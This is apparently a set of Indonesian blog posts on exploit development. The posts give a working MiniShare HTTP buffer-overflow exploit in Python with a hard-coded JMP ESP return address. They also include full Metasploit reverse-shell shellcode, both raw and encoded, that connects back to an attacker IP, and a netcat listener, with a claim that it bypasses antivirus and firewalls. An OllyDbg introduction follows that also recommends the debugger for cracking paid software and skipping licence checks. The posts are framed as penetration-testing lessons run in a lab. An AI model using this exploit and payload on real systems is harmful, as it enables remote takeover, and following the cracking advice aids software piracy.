sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Restart mini share, dan jalankan kembali. Sebelum kita mengirimkan 0day.py milik kita, kita akan mengatur sebuah breakpoint pada alamat yang akan di-overwrite oleh kita, untuk memastikan bahwa eksekusi tertuju dengan benar. Pada sisi atas kiri dari jendela CPU, klik kanan dan pilih Go to->Expression. Di dalam jendela tersebut, masukan alamat dari instruksi JMP ESP milik kamu, (dalam tutorial ini saya mendapat alamat JMP ESP 7CA58265), dan klik OK. Kemudian dengan JMP ESP yang di highlight, tekan F2 untuk membuat breakpoint. Alamat pada jendela CPU untuk instruksi yang serupa akan menjadi berwarna merah. Yang akan mengindikasikan bahwa breakpoint telah diatur. Breakpoint pada dasarnya menghentikan eksekusi dari sebuah program dalam debugger ketika kita mencapai point yang serupa di dalam kode, dan itu akan memastikan kita bahwa JMP kita telah terjadi tanpa membiarkan kode kita terus berjalan.


Setelah kita mengirimkan 0day.py milik kita, system crash dan akan terpicu dan eksekusi akan berhenti pada breakpoint yang telah kamu tetapkan. Sekarang tekan F7, eksekusi akan "menuju" ke tempat pertama dari alamat \xcc dari buffer yang telah kita kirim. Jika ini tidak terjadi, cek kembali exploitmu, dan pastifkan offset kamu benar.


8. Menambahkan shellcode ke dalam exploit

Sekarang kita telah memiliki kode eksekusi, bagaimanapun juga, exploit kita masih tidak melakukan apapun yang berguna, sampai kita kode tempatkan bahasa mesin kedalam buffer kita. Untuk hal ini, kita bisa gunakan tool Metasploit msfpayload untuk meregernerasi shellcode yang bisa kita tambahkan kedalam kode buffer kita. Kode ini dibuat dengan opkode bahasa mesin yang bisa melakukan hal seperti membuka shells, menjalankan program dan lan-lain.

Gunakan LHOST dan LPORT parameter untuk menghubungkan kembali korban kita ke system LHOST=172.16.10.1 LPORT=443. Gunakan parameter C untuk menampilkan output dalam ctyle format.

root@red-dragon:/opt/metasploit/msf3# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=443 C
/*
 * windows/shell_reverse_tcp - 314 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=172.16.10.1, LPORT=443, 
 * ReverseConnectRetries=5, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xac\x10\x0a\x01\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";


Terlihat bahwa shellcode kita memiliki karakter buruk sepert \x00 \x0a dan \x0d. Untuk itu kita gunakan msfencode untuk menregenerasishellcode kita guna manghindari karakter buruk di dalam shellcode kita. Kali ini saya menggunakan encode x86/shikata_ga_nai.

root@red-dragon:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] = 
"\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47";



Selesai. Sudah tidak ada karakter buruk lagi di dalam shellcode kita. Sekarang masukan shellcode ini ke dalam buffer kita.

#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\x90" * 16
buffer+= ("\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

9. Menguji keberhasilan ekspoit

Restart kembali minishare, dan kirim buffer ini. Sebelum mengirim buffer, kita akan menggunakan netcat untuk mendenganrkan setiap koneksi yang masuk. Dalam tutorial kali ini, saya membuat eksploit untuk menghubungi saya kembali pada port 4444. Sehingga saya gunakan netcat untuk mendegarkan setiap koneksi yang masuk ke port 4444 dengan perintah

root@red-dragon:~# nc -l 4444

Kembali ke OllyDbg. Set breakpoint dengan alamat JMP ESP. Kirim buffer kita, dan kembali lagi ke OllyDbg. Disini terjadi crash system, tekan F7 untuk melanjutkan ke alamat eksekusi selanjutnya, kemudian tekan kembali tombol F9 atau tombol play. Kembali lagi ke netcat, dan ini yang akan anda saksikan.


Kita berhasil masuk ke Command Prompt melewati antivirus dan firewall.

Originaly created by:
red-dragon


19.11.11

Pengenalan OllyDbg

Jangan langsung down melihat angka dan huruf berserakan. Kita harus mengenali OllyDbg sebelum menyukainya. Ini adalah program hebat yang dapat memodifikasi program, dari yang sebelumnya berbayar, menjadi gratis. Atau bisa melakukan skip license. Sehingga program tetap aktif meskipun terdeteksi sebagai program ilegal.

Dalam pembahasan pentesting selanjutnya, kita akan belajar lebih jauh tentang cara menggunakan ollydbg untuk menemukan celah buffer overflow sebuah program.

Preparation:

OllyDbg 1.10

Saatnya berkenalan dengan program OllyDbg. Untuk mempermudah, perhatikan gambar di bawah.




1. Instruksi CPU
Instruksi CPU adalah daftar instruksi yang dieksekusi oleh CPU. Bagian Instruksi CPU:

  • Kolom pertama adalah penunjuk alamat memori dimana instruksi dieksekusi.
  • Kolom kedua adalah penunjuk opcode bahasa mesin dari sebuah instruksi.
  • Kolom ketiga adalah penunjuk bentuk assambled dari kode dari sebuah instruksi dalam format MASM


2. Memory Dump
Menunjukan memory yang dieksekusi saat berjalannya sebuah instruksi. Bagian dari Memory Dump:

  • Address menunjukan alamat memory
  • Hex Dump menunjukan kode memory dalam bentuk Hexadecimal
  • ASCII menunjukan kode memory dalam bentuk ASCII


3. Registers
Menunjukan beberapa dari register CPU yang digunakan untuk mendukung pengeksekusian sebuah instruksi. Bagian dari Registers:

  • EIP register menunjukan register yang akan dieksekusi selanjutnya.
  • ESP register mengandung sebuah penunjuk pada entri baru dalam stack


4. Stack
Memuat struktur memory yang mengandung virtual pile berbasis 32 BIT (4 byte). Stack bersifat first in last out, yang digunakan untuk menyimpan variabel dan untuk tetap mengikuti posisi stack ketika sebuah fungsi dipanggil. Untuk mendapatkan entri ke dalam stack Kamu harus menambahkan stack ke bagian atas dan hanya stack teratas yang bisa di hapus dari sebuah stack. Jadi, untuk membuat entri ke tiga menjadi stack teratas, kamu tidak bisa melakukan metode drag and drop, kamu harus menghapus entri 1 dan entri dua untuk membuat entri tiga berada di posisi paling atas.

Setiap kolom ini memiliki kesensitifitasan yang berbeda, dan untuk mode advace, kamu bisa mengaksesnya melalui klik kanan pada tiap-tiap kolom yang diinginkan.

Created by:
red-dragon

Supported by:
Blue Dragon

Loved By:
Yoshephine Handini

18.11.11

Mengapa Penetration Test?

Banyak orang beranggapan bahwa exploitasi system hanya bisa dilakukan dengan bantuan metasploit. Namun hal itu salah. Pada kesempatan kali ini, saya akan berbagi ilmu penetrasi test tingkat tinggi, yang hanya diajarkan kepada murid-murid yang mengikuti kursus DEFCON dan OFFSEC.


Saya mencoba mencari kesana kesini mengenai kursus hal serupa di indonesia, namun hasilnya nihil. Banyak alasan yang mulai muncul:

  1. Indonesia pemuja internet untuk kebutuhan eksistensi mereka, sayangnya itu tanpa perhatian khusus di sisi security.
  2. Faktanya, masih banyak server kantor yang menggunakan password abcd1234 sebagai password administrator. Dan konyolnya, password ini ditulis di secarik kertas, dan tergeletak di atas meja kerja. Astaga!!!!
  3. Bidang komputerisasi di indonesia berfokus pada pemrograman, sayangnya mereka tidak mendapat bimbingan yang cukup dalam bidang assembling.
  4. Dengan modal antivirus dan firewall, user komputer di indonesia mengklaim bahwa komputernya invulnerable terhadap serangan virus. [Mungkin kebal virus, namun tidak ada yang mampu mencegah shell code yang akan kita buat nanti]
  5. Indonesia adalah PENGGUNA, bukan PERAWAT. Mereka lebih suka menggunakan ketimbang merawat. Ini yang menyebabkan tidak adanya bimbingan penetration test pada perguruan tinggi di bidang komputerisasi.

Alasan di atas mungkin bertambah (jika anda punya dugaan lain). Dan saya harap berkurang (karena pemerintah mengubah pola pikir dan pandangnya terhadap komputer).

Kembali lagi kepada shell code.

Saat ini, sudah ada 4 target yang saya buat dalam penulisan shellcode. Berawal dari LV-1 hingga LV-4. Shellcode ini ditulis menggunakan bahasa pemrograman. Dan perlu diingat, ini bukan tutorial hacking, ini adalah tutorial penetration test. Jadi tidak ada yang dirugikan dalam tutorial kali ini (sampai seseorang menggunakannya untuk menyerang system).

Penetration test adalah sebuah percobaan yang dilakukan seseorang untuk mengambil alih system dengan tujuan memperbaiki celah kemanan. Lalu apa bedanya dengan hacking? Hacking sama dengan penetration testing, yang membedakan hanya tujuannya. Hacking tidak memilii tujuan seperti penetration testing.

Mengapa penetration testing?

Beberapa orang menganggap bahwa hacking itu keren. Yaaaa, setidaknya anggapan itu bertahan sampai karma menimpanya. Hacker dan penetration tester memiliki hobby yang sama, yaitu mencoba mengambil alih system. Jadi bagaimana jika anda (yang hacker tentunya), mencoba mengubah pola pikir anda menjadi seperti ini:
"Saya akan gunakan hobby saya untuk mendatangkan uang untuk saya dan keuntungan untuk orang lain".
Perlu diketahui, honor seorang penetration tester berkisar antara  $110,000 – $139,999
Alamaaaaaak. Jika dirupiahkan itu setara dengan Rp 1.003.750.000 (satu milyar) hingga  Rp 1.277.490.875 (1,2 milyar)!!!!

Apa yang dibutuhkan untuk menjadi pentester?

Untuk mendapat gaji di atas tidak mudah. Anda harus belajar bahasa assembling, pemrograman (virus), jaringan (cracking perimeter), exploitation, hingga tracing attacker. Semua itu TIDAK ADA DI INDONESIA. Lalu bagaimana? Ikutilah beberapa seminar dan kursus ethical hacker international seperti DEFCON, DERBYCON, dan OFFSEC
Harga training memang tidak mudah. Berkisar antara 10 juta hingga  ratusan juta. Mahal ya? Tapi bisa balik modal dengan cepat tuh kalo bisa jadi pentester. Di indonesia memang belum ada yang membutuhkan pentester, jadi kenapa ngga kerja di negeri orang lain aja? Toh, ini buat kebaikan masa depan kalian, dan membanggakan keluarga besar kalian juga.
=)

Pengetahuan yang harus dimiliki dalam mengikuti tutorial pentesting LV 1 - 4:

  1. TCP/IP Networking
  2. Mampu menggunakan OS Windows dengan baik seperti installasi, menjalankan service, merestart services, dan lain-lain.
  3. Mampu menggunakan OS Bakc|Track sebagai OS penetration test.
  4. Memahami bahasa pemrograman Python
  5. Memahami celah bug pada program
  6. Dapat menggunakan OllyDbg

Apa saja yang harus dimiliki dalam pelajaran penetration test LV 1- 4?

Untuk attacker
  1. Perl interpreter
  2. Python interpreter
  3. Metasploit 3.x
  4. Text Editor
  5. Netcat
  6. VM Ware
  7. Windows XP SP2 yang dapat di-run melalui VM-Ware
Untuk Windows
  1. OllyDbg 1.10 dapat di download di sini
Sekian intermezo dari kami.

Team pentester:

red-dragon

Blue Dragon